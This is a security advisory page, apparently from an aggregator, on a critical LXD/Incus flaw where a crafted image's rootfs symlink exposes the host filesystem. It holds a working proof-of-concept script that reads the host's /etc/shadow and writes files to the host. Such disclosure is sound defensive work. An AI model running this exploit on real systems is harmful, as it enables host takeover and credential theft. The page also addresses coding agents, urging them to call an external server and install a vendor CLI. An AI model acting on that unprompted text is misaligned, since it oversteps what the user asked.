# GHSA-VGHH-5RFX-XHQ8: LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image - Severity: critical (stated by ghsa, no CVSS score) - Known exploited (CISA KEV): no - Fixed in: 0.0.0-20260630083100-c5184be310b1 - Published: 2026-11-06 · Updated: 2026-11-06 GHSA-VGHH-5RFX-XHQ8 is not in CISA's Known Exploited Vulnerabilities (KEV) catalog. No public exploit code is tracked. It is rated critical by ghsa and affects github.com/canonical/lxd; fixed in 0.0.0-20260630083100-c5184be310b1. ## Summary LXD can be made to give an attacker arbitrary read and write access to files on the host through a specially crafted container image that uses a symlink to point at the host's root filesystem. This could possibly lead to arbitrary command execution on the host. Model-written summary (anthropic/claude-haiku-5.5). Verify details against the original sources. ## Affected - github.com/canonical/lxd (Go): fixed in 0.0.0-20260630083100-c5184be310b1 ## Description Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv ### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it. ``` metadata.yaml rootfs/ rootfs -> / ``` In practice, this allows a malicious actor to access the host's filesystem with root privileges. ### PoC Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar # inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink # read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow" # write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/ ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution. ## What to do - Check your stack: if you ship or depend on github.com/canonical/lxd, upgrade to a fixed version (0.0.0-20260630083100-c5184be310b1) per the references below. - For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://mcp.cve.now/mcp, no auth) with the project's lockfile. - Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web: https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=GHSA-VGHH-5RFX-XHQ8 ## FAQ ### Is GHSA-VGHH-5RFX-XHQ8 being exploited? It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked. Source: https://cve.now/GHSA-VGHH-5RFX-XHQ8 ### Which versions are affected by GHSA-VGHH-5RFX-XHQ8? github.com/canonical/lxd (Go): before 0.0.0-20260630083100-c5184be310b1. Source: https://cve.now/GHSA-VGHH-5RFX-XHQ8 ### How do I fix GHSA-VGHH-5RFX-XHQ8? Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1. Source: https://cve.now/GHSA-VGHH-5RFX-XHQ8 ## Related - Browse: [Critical entries](https://cve.now/critical.md) · [Go packages](https://cve.now/ecosystem/go.md) · [Latest entries](https://cve.now/latest.md) ## References - https://github.com/canonical/lxd/security/advisories/GHSA-vghh-5rfx-xhq8 - https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv - https://nvd.nist.gov/vuln/detail/CVE-2026-48749 - https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd - https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da - https://github.com/canonical/lxd/commit/3dbf4cea14124abda420dd5048d7e657cd30c1b7 - https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f - https://github.com/canonical/lxd/commit/51dc11ed5258fbb54dd8993b802af02d6d7b0235 - https://github.com/canonical/lxd/commit/62bcee5471c2581fce10a648f6b27410ce081b87 - https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9 - https://github.com/canonical/lxd/commit/b499ec4b91dcc90f43aea444b1e19a58109772c2 - https://github.com/canonical/lxd/commit/e2aeca6b78677751bab36a7e4efaad0c840ed9fd - https://github.com/canonical/lxd/commit/edb6d994f77333c9c33f4d9a137c754d142f3818 - https://github.com/canonical/lxd --- Source: cve.now, built and run by Sazabi Page: https://cve.now/GHSA-VGHH-5RFX-XHQ8 JSON: https://cve.now/api/v1/entries/GHSA-VGHH-5RFX-XHQ8 Uses NVD data; not endorsed by NVD.